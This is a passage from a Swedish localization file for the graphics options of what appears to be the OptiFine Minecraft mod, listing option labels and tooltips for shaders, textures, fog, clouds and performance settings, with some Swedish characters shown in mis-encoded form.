mindre gränssnitt kan vara snabbare. + +options.vbo=Använd VBO +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Använder en alternativ renderingsmodell som vanligtvis +options.vbo.tooltip.3=är snabbare (5-10%%) än standardrenderingen. + +options.gamma.tooltip.1=Ändrar ljusstyrkan för mörkare objekt. +options.gamma.tooltip.2= Mörkt - standardljusstyrka +options.gamma.tooltip.3= 1-99%% - variabel +options.gamma.tooltip.4= Ljust - maximal ljusstyrka för mörkare objekt +options.gamma.tooltip.5=Detta alternativ ändrar inte ljusstyrkan för helt svarta +options.gamma.tooltip.6=objekt. + +options.anaglyph.tooltip.1=3D-effekt +options.anaglyph.tooltip.2=Aktiverar en stereoskopisk 3D-effekt med hjälp av olika +options.anaglyph.tooltip.3=färger för varje öga. +options.anaglyph.tooltip.4=Kräver röd-turkosa glasögon för bästa resultat. + +options.attackIndicator.tooltip.1=Konfigurerar attackmätarens position +options.attackIndicator.tooltip.2= HÃ¥rkors - under hÃ¥rkorset +options.attackIndicator.tooltip.3= FöremÃ¥lsmeny - bredvid föremÃ¥lsmenyn +options.attackIndicator.tooltip.4= AV - ingen attackmätare +options.attackIndicator.tooltip.5=Attackmätaren visar attackstyrkan hos det hÃ¥llna +options.attackIndicator.tooltip.6=föremÃ¥let + +of.options.ALTERNATE_BLOCKS=Alternerade block +of.options.ALTERNATE_BLOCKS.tooltip.1=Alternerade block +of.options.ALTERNATE_BLOCKS.tooltip.2=Använder alternativa blockmodeller för en del block. +of.options.ALTERNATE_BLOCKS.tooltip.3=Förlitar sig pÃ¥ aktuellt resurspaket. + +of.options.FOG_FANCY=Dimma +of.options.FOG_FANCY.tooltip.1=Typ av dimma +of.options.FOG_FANCY.tooltip.2= Snabbt - snabbare dimma +of.options.FOG_FANCY.tooltip.3= Snyggt - lÃ¥ngsammare dimma, ser bättre ut +of.options.FOG_FANCY.tooltip.4= AV - ingen dimma, snabbast +of.options.FOG_FANCY.tooltip.5=Snygg dimma finns bara tillgänglig om den stöds av +of.options.FOG_FANCY.tooltip.6=grafikkortet. + +of.options.FOG_START=Startgräns för dimma +of.options.FOG_START.tooltip.1=Startgräns för dimma +of.options.FOG_START.tooltip.2= 0.2 - dimman börjar nära spelaren +of.options.FOG_START.tooltip.3= 0.8 - dimman börjar lÃ¥ngt bort frÃ¥n spelaren +of.options.FOG_START.tooltip.4=Detta alternativ pÃ¥verkar vanligtvis inte prestandan. + +of.options.CHUNK_LOADING=Datablocksinläsn.: Flerkärnig +of.options.CHUNK_LOADING.tooltip.1=Datablocksinläsning +of.options.CHUNK_LOADING.tooltip.2= Standard - ostabil bildfrekvens när datablock läser in +of.options.CHUNK_LOADING.tooltip.3= Jämn - stabil bildfrekvens +of.options.CHUNK_LOADING.tooltip.4= Flerkärnig - stabil bildfrekvens, 3x snabbare inläsning +of.options.CHUNK_LOADING.tooltip.5=Jämn och Flerkärnig tar bort ryckningar och frysningar +of.options.CHUNK_LOADING.tooltip.6=som orsakas av inlästa datablock. +of.options.CHUNK_LOADING.tooltip.7=Flerkärnig kan pÃ¥skynda världens inläsning trefaldigt +of.options.CHUNK_LOADING.tooltip.8=och höja bildfrekvensen med en andra processorkärna. +of.options.chunkLoading.smooth=Jämn +of.options.chunkLoading.multiCore=Flerkärnig + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=AV +of.options.shaders.packDefault=(intern) + +of.options.shaders.ANTIALIASING=Kantutjämning +of.options.shaders.ANTIALIASING.tooltip.1=Kantutjämning +of.options.shaders.ANTIALIASING.tooltip.2= AV - (standard) ingen kantutjämning (snabbare) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - utjämnade linjer och kanter (lÃ¥ngsammare) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA är en efterbehandlingseffekt som jämnar ut +of.options.shaders.ANTIALIASING.tooltip.5=taggiga linjer och skarpa färgskiftningar. +of.options.shaders.ANTIALIASING.tooltip.6=Den är snabbare än den traditionella kantutjämningen +of.options.shaders.ANTIALIASING.tooltip.7=samt är kompatibel med shaders och Snabb rendering. + +of.options.shaders.NORMAL_MAP=Normal map +of.options.shaders.NORMAL_MAP.tooltip.1=Normal map +of.options.shaders.NORMAL_MAP.tooltip.2= PÃ… - (standard) aktivera normal maps +of.options.shaders.NORMAL_MAP.tooltip.3= AV - inaktivera normal maps +of.options.shaders.NORMAL_MAP.tooltip.4=Shaderpaketet kan använda normal maps för att simulera +of.options.shaders.NORMAL_MAP.tooltip.5=3D-geometri pÃ¥ platta modellytor. +of.options.shaders.NORMAL_MAP.tooltip.6=Texturer för normal maps tillhandahÃ¥lls av det aktuella +of.options.shaders.NORMAL_MAP.tooltip.7=resurspaketet. + +of.options.shaders.SPECULAR_MAP=Specular map +of.options.shaders.SPECULAR_MAP.tooltip.1=Specular map +of.options.shaders.SPECULAR_MAP.tooltip.2= PÃ… - (standard) aktivera specular maps +of.options.shaders.SPECULAR_MAP.tooltip.3= AV - inaktivera specular maps +of.options.shaders.SPECULAR_MAP.tooltip.4=Shaderpaketet kan använda specular maps för att +of.options.shaders.SPECULAR_MAP.tooltip.5=simulera speciella reflektionseffekter. +of.options.shaders.SPECULAR_MAP.tooltip.6=Texturer för specular maps tillhandahÃ¥lls av det +of.options.shaders.SPECULAR_MAP.tooltip.7=aktuella resurspaketet. + +of.options.shaders.RENDER_RES_MUL=Renderingskvalitet +of.options.shaders.RENDER_RES_MUL.tooltip.1=Renderingskvalitet +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - lÃ¥g (snabbast) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standard (standard) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - hög (lÃ¥ngsammast) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Renderingskvalitet kontrollerar storleken pÃ¥ texturen +of.options.shaders.RENDER_RES_MUL.tooltip.6=som shaderpaketet renderar till. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Lägre värden kan vara användbara pÃ¥ 4K-skärmar. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Högre värden fungerar som ett kantutjämnande filter. + +of.options.shaders.SHADOW_RES_MUL=Skuggkvalitet +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Skuggkvalitet +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - lÃ¥g (snabbast) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standard (standard) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - hög (lÃ¥ngsammast) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Skuggkvalitet kontrollerar storleken pÃ¥ texturen för +of.options.shaders.SHADOW_RES_MUL.tooltip.6=shadow map som används i shaderpaketet. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Lägre kvalitet = enkla grova skuggor. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Högre kvalitet = detaljerade fina skuggor. + +of.options.shaders.HAND_DEPTH_MUL=Handdjup +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Handdjup +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - handen är nära kameran +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (standard) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - handen är lÃ¥ngt borta frÃ¥n kameran +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Handdjup kontrollerar hur lÃ¥ngt borta handhÃ¥llna +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=föremÃ¥l är frÃ¥n kameran. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=För shaderpaket som använder skärpedjup bör detta +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=ändra hur suddiga handhÃ¥llna föremÃ¥l blir. + +of.options.shaders.CLOUD_SHADOW=Molnskugga + +of.options.shaders.OLD_HAND_LIGHT=G. handljus +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Gammalt handljus +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Standard - kontrolleras av shaderpaketet +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= PÃ… - använd gammalt handljus +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= AV - använd nytt handljus +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=Gammalt handljus lÃ¥ter shaderpaket som endast känner +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=igen ljusavgivande föremÃ¥l i den primära handen ocksÃ¥ +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=fungera med föremÃ¥l i den sekundära handen. + +of.options.shaders.OLD_LIGHTING=Gammalt ljus +of.options.shaders.OLD_LIGHTING.tooltip.1=Gammalt ljus +of.options.shaders.OLD_LIGHTING.tooltip.2= Standard - kontrolleras av shaderpaketet +of.options.shaders.OLD_LIGHTING.tooltip.3= PÃ… - använd gammalt ljus +of.options.shaders.OLD_LIGHTING.tooltip.4= AV - använd inte gammalt ljus +of.options.shaders.OLD_LIGHTING.tooltip.5=Gammalt ljus kontrollerar det fasta ljuset som tillämpas +of.options.shaders.OLD_LIGHTING.tooltip.6=pÃ¥ blocksidor som standard. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shaderpaket som använder skuggor ger vanligtvis +of.options.shaders.OLD_LIGHTING.tooltip.8=mycket bättre ljus som är beroende av solens position. + +of.options.shaders.DOWNLOAD=Ladda ned shaders +of.options.shaders.DOWNLOAD.tooltip.1=Ladda ned shaders +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Öppnar webbsidan för shaderpaket i en webbläsare. +of.options.shaders.DOWNLOAD.tooltip.4=Lägg nedladdade shaderpaket i "shadermappen" sÃ¥ +of.options.shaders.DOWNLOAD.tooltip.5=kommer de visas i listan över installerade shaders. + +of.options.shaders.SHADER_PACK=Shaderpaket + +of.options.shaders.shadersFolder=Shadermapp +of.options.shaders.shaderOptions=Shaderalternativ... + +of.options.shaderOptionsTitle=Shaderalternativ + +of.options.quality=Kvalitet... +of.options.qualityTitle=Kvalitetsinställningar + +of.options.details=Detaljer... +of.options.detailsTitle=Detaljinställningar + +of.options.performance=Prestanda... +of.options.performanceTitle=Prestandainställningar + +of.options.animations=Animeringar... +of.options.animationsTitle=Animeringsinställningar + +of.options.other=Övrigt... +of.options.otherTitle=Övriga inställningar + +of.options.other.reset=Ã…terställ grafikinställningar... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Bilinjär +of.options.mipmap.linear=Linjär +of.options.mipmap.nearest=Närmast +of.options.mipmap.trilinear=Trilinjär + +options.mipmapLevels.tooltip.1=Visuell effekt som gör att objekt pÃ¥ avstÃ¥nd ser bättre +options.mipmapLevels.tooltip.2=ut genom att jämna ut texturdetaljerna. +options.mipmapLevels.tooltip.3= AV - ingen utjämning +options.mipmapLevels.tooltip.4= 1 - minimal utjämning +options.mipmapLevels.tooltip.5= Maximal - maximal utjämning +options.mipmapLevels.tooltip.6=Detta alternativ pÃ¥verkar vanligtvis inte prestandan. + +of.options.MIPMAP_TYPE=Mipmaptyp +of.options.MIPMAP_TYPE.tooltip.1=Visuell effekt som gör att objekt pÃ¥ avstÃ¥nd ser bättre +of.options.MIPMAP_TYPE.tooltip.2=ut genom att jämna ut texturdetaljerna. +of.options.MIPMAP_TYPE.tooltip.3= Närmast - grov utjämning (snabbast) +of.options.MIPMAP_TYPE.tooltip.4= Linjär - normal utjämning +of.options.MIPMAP_TYPE.tooltip.5= Bilinjär - fin utjämning +of.options.MIPMAP_TYPE.tooltip.6= Trilinjär - finast utjämning (lÃ¥ngsammast) + + +of.options.AA_LEVEL=Kantutjämning +of.options.AA_LEVEL.tooltip.1=Kantutjämning +of.options.AA_LEVEL.tooltip.2= AV - ingen kantutjämning (standard), snabbare +of.options.AA_LEVEL.tooltip.3= 2-16 - kantutjämnade linjer och kanter (lÃ¥ngsammare) +of.options.AA_LEVEL.tooltip.4=Kantutjämningen jämnar ur ojämna linjer och skarpa +of.options.AA_LEVEL.tooltip.5=färgövergÃ¥ngar. +of.options.AA_LEVEL.tooltip.6=Bildfrekvensen kan sjunka avsevärt när detta aktiveras. +of.options.AA_LEVEL.tooltip.7=Alla nivÃ¥er stöds inte av alla grafikkort. +of.options.AA_LEVEL.tooltip.8=Kräver OMSTART! + +of.options.AF_LEVEL=Anisotropisk filtrering +of.options.AF_LEVEL.tooltip.1=Anisotropisk filtrering +of.options.AF_LEVEL.tooltip.2= AV - standarddetaljer i texturer (standard), snabbare +of.options.AF_LEVEL.tooltip.3= 2-16 - finare detaljer i mipmaptexturer (lÃ¥ngsammare) +of.options.AF_LEVEL.tooltip.4=Den anisotropiska filtreringen Ã¥terställer detaljer i +of.options.AF_LEVEL.tooltip.5=mipmaptexturer. +of.options.AF_LEVEL.tooltip.6=Bildfrekvensen kan sjunka avsevärt när detta aktiveras. + +of.options.CLEAR_WATER=Kristallklart vatten +of.options.CLEAR_WATER.tooltip.1=Kristallklart vatten +of.options.CLEAR_WATER.tooltip.2= PÃ… - kristallklart, genomskinligt vatten +of.options.CLEAR_WATER.tooltip.3= AV - standardvatten + +of.options.RANDOM_ENTITIES=Slumpartade entiteter +of.options.RANDOM_ENTITIES.tooltip.1=Slumpartade entiteter +of.options.RANDOM_ENTITIES.tooltip.2= AV - inga slumpartade entiteter, snabbare +of.options.RANDOM_ENTITIES.tooltip.3= PÃ… - slumpartade entiteter, lÃ¥ngsammare +of.options.RANDOM_ENTITIES.tooltip.4=Använder slumpartade texturer för spelets entiteter. +of.options.RANDOM_ENTITIES.tooltip.5=Kräver ett resurspaket med flera entitettexturer. + +of.options.BETTER_GRASS=Bättre gräs +of.options.BETTER_GRASS.tooltip.1=Bättre gräs +of.options.BETTER_GRASS.tooltip.2= AV - standardtextur för gräskanter, snabbast +of.options.BETTER_GRASS.tooltip.3= Snabbt - fullständig gräskantstextur, lÃ¥ngsammare +of.options.BETTER_GRASS.tooltip.4= Snyggt - dynamisk gräskantstextur, lÃ¥ngsammast + +of.options.BETTER_SNOW=Bättre snö +of.options.BETTER_SNOW.tooltip.1=Bättre snö +of.options.BETTER_SNOW.tooltip.2= AV - standardsnö, snabbare +of.options.BETTER_SNOW.tooltip.3= PÃ… - bättre snö, lÃ¥ngsammare +of.options.BETTER_SNOW.tooltip.4=Visar snö under genomskinliga block (staket, högt gräs) +of.options.BETTER_SNOW.tooltip.5=som angränsar till snöblock. + +of.options.CUSTOM_FONTS=Anpassade typsnitt +of.options.CUSTOM_FONTS.tooltip.1=Anpassade typsnitt +of.options.CUSTOM_FONTS.tooltip.2= PÃ… - använd anpass. typsnitt (standard), lÃ¥ngsammare +of.options.CUSTOM_FONTS.tooltip.3= AV - använd standardtypsnittet, snabbare +of.options.CUSTOM_FONTS.tooltip.4=De anpassade typsnitten tillhandahÃ¥lls av det aktuella +of.options.CUSTOM_FONTS.tooltip.5=resurspaketet. + +of.options.CUSTOM_COLORS=Anpassade färger +of.options.CUSTOM_COLORS.tooltip.1=Anpassade färger +of.options.CUSTOM_COLORS.tooltip.2= PÃ… - använd anpass. färger (standard), lÃ¥ngsammare +of.options.CUSTOM_COLORS.tooltip.3= AV - använd standardfärgerna, snabbare +of.options.CUSTOM_COLORS.tooltip.4=De anpassade färgerna tillhandahÃ¥lls av det aktuella +of.options.CUSTOM_COLORS.tooltip.5=resurspaketet + +of.options.SWAMP_COLORS=Träskfärger +of.options.SWAMP_COLORS.tooltip.1=Träskfärger +of.options.SWAMP_COLORS.tooltip.2= PÃ… - använd träskfärger (standard), lÃ¥ngsammare +of.options.SWAMP_COLORS.tooltip.3= AV - använd inte träskfärger, snabbare +of.options.SWAMP_COLORS.tooltip.4=Träskfärgerna pÃ¥verkar gräs, löv, klätterväxter och +of.options.SWAMP_COLORS.tooltip.5=vatten. + +of.options.SMOOTH_BIOMES=Utjämnade biomer +of.options.SMOOTH_BIOMES.tooltip.1=Utjämnade biomer +of.options.SMOOTH_BIOMES.tooltip.2= PÃ… - biomkanter jämnas ut (standard), lÃ¥ngsammare +of.options.SMOOTH_BIOMES.tooltip.3= AV - biomkanter jämnas inte ut, snabbare +of.options.SMOOTH_BIOMES.tooltip.4=Biomkanterna jämnas ut genom att sampla och beräkna +of.options.SMOOTH_BIOMES.tooltip.5=medelvärdet av färgen för alla block runtomkring. +of.options.SMOOTH_BIOMES.tooltip.6=Gräs, löv, klätterväxter och vatten pÃ¥verkas. + +of.options.CONNECTED_TEXTURES=Anslutande texturer +of.options.CONNECTED_TEXTURES.tooltip.1=Anslutande texturer +of.options.CONNECTED_TEXTURES.tooltip.2= AV - inga anslutande texturer (standard) +of.options.CONNECTED_TEXTURES.tooltip.3= Snabbt - snabba anslutande texturer +of.options.CONNECTED_TEXTURES.tooltip.4= Snyggt - snygga anslutande texturer +of.options.CONNECTED_TEXTURES.tooltip.5=Anslutande texturer sammanfogar texturerna för glas, +of.options.CONNECTED_TEXTURES.tooltip.6=sandsten och bokhyllor när de placeras intill varandra. +of.options.CONNECTED_TEXTURES.tooltip.7=De anslutande texturerna tillhandahÃ¥lls av det aktuella +of.options.CONNECTED_TEXTURES.tooltip.8=resurspaketet. + +of.options.NATURAL_TEXTURES=Naturliga texturer +of.options.NATURAL_TEXTURES.tooltip.1=Naturliga texturer +of.options.NATURAL_TEXTURES.tooltip.2= AV - inga naturliga texturer (standard) +of.options.NATURAL_TEXTURES.tooltip.3= PÃ… - använd naturliga texturer +of.options.NATURAL_TEXTURES.tooltip.4=Naturliga texturer tar bort rutnätsliknande mönster som +of.options.NATURAL_TEXTURES.tooltip.5=skapas frÃ¥n upprepade block av samma typ. +of.options.NATURAL_TEXTURES.tooltip.6=Den använder roterade och speglade varianter av den +of.options.NATURAL_TEXTURES.tooltip.7=ursprungliga blocktexturen. Konfigurationen för naturliga +of.options.NATURAL_TEXTURES.tooltip.8=texturer tillhandahÃ¥lls av det aktuella resurspaketet. + +of.options.EMISSIVE_TEXTURES=Upplysta texturer +of.options.EMISSIVE_TEXTURES.tooltip.1=Upplysta texturer +of.options.EMISSIVE_TEXTURES.tooltip.2= AV - inga upplysta texturer (standard) +of.options.EMISSIVE_TEXTURES.tooltip.3= PÃ… - använd upplysta texturer +of.options.EMISSIVE_TEXTURES.tooltip.4=De upplysta texturerna renderas som ett överlägg med +of.options.EMISSIVE_TEXTURES.tooltip.5=full ljusstyrka. De kan användas för att simulera +of.options.EMISSIVE_TEXTURES.tooltip.6=belysta delar av grundtexturen. +of.options.EMISSIVE_TEXTURES.tooltip.7=Upplysta texturer tillhandahÃ¥lls av det aktuella +of.options.EMISSIVE_TEXTURES.tooltip.8=resurspaketet. + +of.options.CUSTOM_SKY=Anpassad himmel +of.options.CUSTOM_SKY.tooltip.1=Anpassad himmel +of.options.CUSTOM_SKY.tooltip.2= PÃ… - anpassade himmeltexturer (standard), lÃ¥ngsamt +of.options.CUSTOM_SKY.tooltip.3= AV - standardhimmel, snabbare +of.options.CUSTOM_SKY.tooltip.4=Texturerna för den anpassade himlen tillhandahÃ¥lls av +of.options.CUSTOM_SKY.tooltip.5=det aktuella resurspaketet. + +of.options.CUSTOM_ITEMS=Anpassade föremÃ¥l +of.options.CUSTOM_ITEMS.tooltip.1=Anpassade föremÃ¥l +of.options.CUSTOM_ITEMS.tooltip.2= PÃ… - anpassade föremÃ¥lstexturer (standard), lÃ¥ngsamt +of.options.CUSTOM_ITEMS.tooltip.3= AV - standardtexturer för föremÃ¥l, snabbare +of.options.CUSTOM_ITEMS.tooltip.4=De anpassade föremÃ¥lstexturerna tillhandahÃ¥lls av det +of.options.CUSTOM_ITEMS.tooltip.5=aktuella resurspaketet. + +of.options.CUSTOM_ENTITY_MODELS=Anp. entitetsmodeller +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Anpassade entitetsmodeller +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= PÃ… - anpassade entitetsmodeller (standard), lÃ¥ngsamt +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= AV - standardentitetsmodeller, snabbare +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=De anpassade entitetsmodellerna tillhandahÃ¥lls av det +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=aktuella resurspaketet. + +of.options.CUSTOM_GUIS=Anpassade gränssnitt +of.options.CUSTOM_GUIS.tooltip.1=Anpassade gränssnitt +of.options.CUSTOM_GUIS.tooltip.2= PÃ… - anpassade gränssnitt (standard), lÃ¥ngsammare +of.options.CUSTOM_GUIS.tooltip.3= AV - standardgränssnitt, snabbare +of.options.CUSTOM_GUIS.tooltip.4=De anpassade gränssnitten tillhandahÃ¥lls av det +of.options.CUSTOM_GUIS.tooltip.5=aktuella resurspaketet. + +# Details + +of.options.CLOUDS=Moln +of.options.CLOUDS.tooltip.1=Moln +of.options.CLOUDS.tooltip.2= Standard - följer alternativet "Grafik" +of.options.CLOUDS.tooltip.3= Snabbt - lägre kvalitet, snabbare +of.options.CLOUDS.tooltip.4= Snyggt - högre kvalitet, lÃ¥ngsammare +of.options.CLOUDS.tooltip.5= AV - inga moln, snabbast +of.options.CLOUDS.tooltip.6=Snabba moln renderas i 2D. +of.options.CLOUDS.tooltip.7=Snygga moln renderas i 3D. + +of.options.CLOUD_HEIGHT=Molnhöjd +of.options.CLOUD_HEIGHT.tooltip.1=Molnhöjd +of.options.CLOUD_HEIGHT.tooltip.2= AV - standardhöjd +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - ovanför världens höjdgräns + +of.options.TREES=Träd +of.options.TREES.tooltip.1=Träd +of.options.TREES.tooltip.2= Standard - följer alternativet "Grafik" +of.options.TREES.tooltip.3= Snabbt - lägre kvalitet, snabbare +of.options.TREES.tooltip.4= Smart - högre kvalitet, snabbt +of.options.TREES.tooltip.5= Snyggt - högst kvalitet, lÃ¥ngsammare +of.options.TREES.tooltip.6=Snabba träd har ogenomskinliga löv. +of.options.TREES.tooltip.7=Snygga och smarta träd har genomskinliga löv. + +of.options.RAIN=Regn och snö +of.options.RAIN.tooltip.1=Regn och snö +of.options.RAIN.tooltip.2= Standard - följer alternativet "Grafik" +of.options.RAIN.tooltip.3= Snabbt - lätt regn/snö, snabbare +of.options.RAIN.tooltip.4= Snyggt - tungt regn/snö, lÃ¥ngsammare +of.options.RAIN.tooltip.5= AV - inget regn/snö, snabbast +of.options.RAIN.tooltip.6=Regnljud och regnstänk kommer fortfarande höras och +of.options.RAIN.tooltip.7=synas om regn stängs av. + +of.options.SKY=Himmel +of.options.SKY.tooltip.1=Himmel +of.options.SKY.tooltip.2= PÃ… - himlen syns, lÃ¥ngsammare +of.options.SKY.tooltip.3= AV - himlen syns inte, snabbare +of.options.SKY.tooltip.4=Om himlen inaktiveras syns fortfarande mÃ¥nen och solen. + +of.options.STARS=Stjärnor +of.options.STARS.tooltip.1=Stjärnor +of.options.STARS.tooltip.2= PÃ… - stjärnor syns, lÃ¥ngsammare +of.options.STARS.tooltip.3= AV - stjärnor syns inte, snabbare + +of.options.SUN_MOON=Sol och mÃ¥ne +of.options.SUN_MOON.tooltip.1=Sol och mÃ¥ne +of.options.SUN_MOON.tooltip.2= PÃ… - solen och mÃ¥nen syns (standard) +of.options.SUN_MOON.tooltip.3= AV - solen och mÃ¥nen syns inte (snabbare) + +of.options.SHOW_CAPES=Visa mantlar +of.options.SHOW_CAPES.tooltip.1=Visa mantlar +of.options.SHOW_CAPES.tooltip.2= PÃ… - visa spelarmantlar (standard) +of.options.SHOW_CAPES.tooltip.3= AV - visa inte spelarmantlar + +of.options.TRANSLUCENT_BLOCKS=Genomskinl. block +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Genomskinliga block +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Standard - följer alternativet "Grafik" +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Snyggt - korrekt färgblandning (lÃ¥ngsammare) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Snabbt - snabb färgblandning (snabbare) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Kontrollerar färgblandningen för genomskinliga block +of.options.TRANSLUCENT_BLOCKS.tooltip.6=med olika färger (färgat glas, vatten, is) när de +of.options.TRANSLUCENT_BLOCKS.tooltip.7=placeras bakom varandra med luft emellan. + +of.options.HELD_ITEM_TOOLTIPS=Infotext för föremÃ¥l +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Infotext för föremÃ¥l +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= PÃ… - visa infotext för hÃ¥llna föremÃ¥l (standard) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= AV - visa inte infotext för hÃ¥llna föremÃ¥l + +of.options.ADVANCED_TOOLTIPS=Avancerade inforutor +of.options.ADVANCED_TOOLTIPS.tooltip.1=Avancerade inforutor +of.options.ADVANCED_TOOLTIPS.tooltip.2= PÃ… - visa avancerade inforutor +of.options.ADVANCED_TOOLTIPS.tooltip.3= AV - visa inte avancerade inforutor (standard) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Avancerade inforutor visar ytterligare information om +of.options.ADVANCED_TOOLTIPS.tooltip.5=föremÃ¥l (id, hÃ¥llbarhet) och shaderalternativ +of.options.ADVANCED_TOOLTIPS.tooltip.6=(id, källa, standardvärden). + +of.options.DROPPED_ITEMS=Släppta föremÃ¥l +of.options.DROPPED_ITEMS.tooltip.1=Släppta föremÃ¥l +of.options.DROPPED_ITEMS.tooltip.2= Standard - följer alternativet "Grafik" +of.options.DROPPED_ITEMS.tooltip.3= Snabbt - renderas i 2D (snabbare) +of.options.DROPPED_ITEMS.tooltip.4= Snyggt - renderas i 3D (lÃ¥ngsammare) + +options.entityShadows.tooltip.1=Entitetsskuggor +options.entityShadows.tooltip.2= PÃ… - visa skuggor för entiteter +options.entityShadows.tooltip.3= AV - visa inte skuggor för entiteter + +of.options.VIGNETTE=Vinjett +of.options.VIGNETTE.tooltip.1=Visuell effekt som mörklägger skärmens hörn en aning +of.options.VIGNETTE.tooltip.2= Standard - följer alternativet "Grafik" (standard) +of.options.VIGNETTE.tooltip.3= Snabbt - vinjetten är inaktiverad (snabbare) +of.options.VIGNETTE.tooltip.4= Snyggt - vinjetten är aktiverad (lÃ¥ngsammare) +of.options.VIGNETTE.tooltip.5=Vinjetten kan ha en betydande verkan pÃ¥ bildfrekvensen, +of.options.VIGNETTE.tooltip.6=speciellt när fullskärm är aktiverad. +of.options.VIGNETTE.tooltip.7=Vinjetteffekten är riktigt diskret och kan stängas av +of.options.VIGNETTE.tooltip.8=utan nÃ¥gon fara. + +of.options.DYNAMIC_FOV=Dynamiskt synfält +of.options.DYNAMIC_FOV.tooltip.1=Dynamiskt synfält +of.options.DYNAMIC_FOV.tooltip.2= PÃ… - aktivera dynamiskt synfält (standard) +of.options.DYNAMIC_FOV.tooltip.3= AV - inaktivera dynamiskt synfält +of.options.DYNAMIC_FOV.tooltip.4=Ändrar synfältet när du flyger, springer eller siktar +of.options.DYNAMIC_FOV.tooltip.5=med en pilbÃ¥ge. + +of.options.DYNAMIC_LIGHTS=Dynamiska ljus +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamiska ljus +of.options.DYNAMIC_LIGHTS.tooltip.2= AV - inga dynamiska ljus (standard) +of.options.DYNAMIC_LIGHTS.tooltip.3= Snabbt - snabba dynamiska ljus (uppdat. efter 500 ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Snyggt - snygga dynamiska ljus (uppdateras i realtid) +of.options.DYNAMIC_LIGHTS.tooltip.5=LÃ¥ter föremÃ¥l som avger ljus (facklor, glödsten, etc.) +of.options.DYNAMIC_LIGHTS.tooltip.6=lysa upp omgivningen när de hÃ¥lls av dig, andra spelare +of.options.DYNAMIC_LIGHTS.tooltip.7=eller släpps ned pÃ¥ marken. + +options.biomeBlendRadius.tooltip.1=Jämnar ut färgövergÃ¥ngen mellan biomer +options.biomeBlendRadius.tooltip.2= AV - ingen blandning (snabbare) +options.biomeBlendRadius.tooltip.3= 5x5 - normal blandning (standard) +options.biomeBlendRadius.tooltip.4= 15x15 - maximal blandning (lÃ¥ngsammast) +options.biomeBlendRadius.tooltip.5=Högre värden kan orsaka stora prestandaproblem och +options.biomeBlendRadius.tooltip.6=sakta ned inläsningshastigheten för datablock. + +# Performance + +of.options.SMOOTH_FPS=Jämn bildfrekvens +of.options.SMOOTH_FPS.tooltip.1=Stabiliserar bildfrekvensen genom att rensa grafik- +of.options.SMOOTH_FPS.tooltip.2=drivrutinernas buffertar. +of.options.SMOOTH_FPS.tooltip.3= AV - ingen stabilisering, bildfrekvensen kan variera +of.options.SMOOTH_FPS.tooltip.4= PÃ… - bildfrekvensen stabiliseras +of.options.SMOOTH_FPS.tooltip.5=Beror pÃ¥ grafikdrivrutinerna och märks inte alltid. + +of.options.SMOOTH_WORLD=Jämn värld +of.options.SMOOTH_WORLD.tooltip.1=Tar bort prestandaproblem som orsakas av den interna +of.options.SMOOTH_WORLD.tooltip.2=servern. +of.options.SMOOTH_WORLD.tooltip.3= AV - ingen stabilisering, bildfrekvensen kan variera +of.options.SMOOTH_WORLD.tooltip.4= PÃ… - bildfrekvensen stabiliseras +of.options.SMOOTH_WORLD.tooltip.5=Stabiliserar bildfrekvensen genom att fördela inläsningen +of.options.SMOOTH_WORLD.tooltip.6=av den interna servern. +of.options.SMOOTH_WORLD.tooltip.7=Fungerar endast pÃ¥ lokala världar (enspelarläge). + +of.options.FAST_RENDER=Snabb rendering +of.options.FAST_RENDER.tooltip.1=Snabb rendering +of.options.FAST_RENDER.tooltip.2= AV - standardrendering (standard) +of.options.FAST_RENDER.tooltip.3= PÃ… - optimerad rendering (snabbare) +of.options.FAST_RENDER.tooltip.4=Använder en 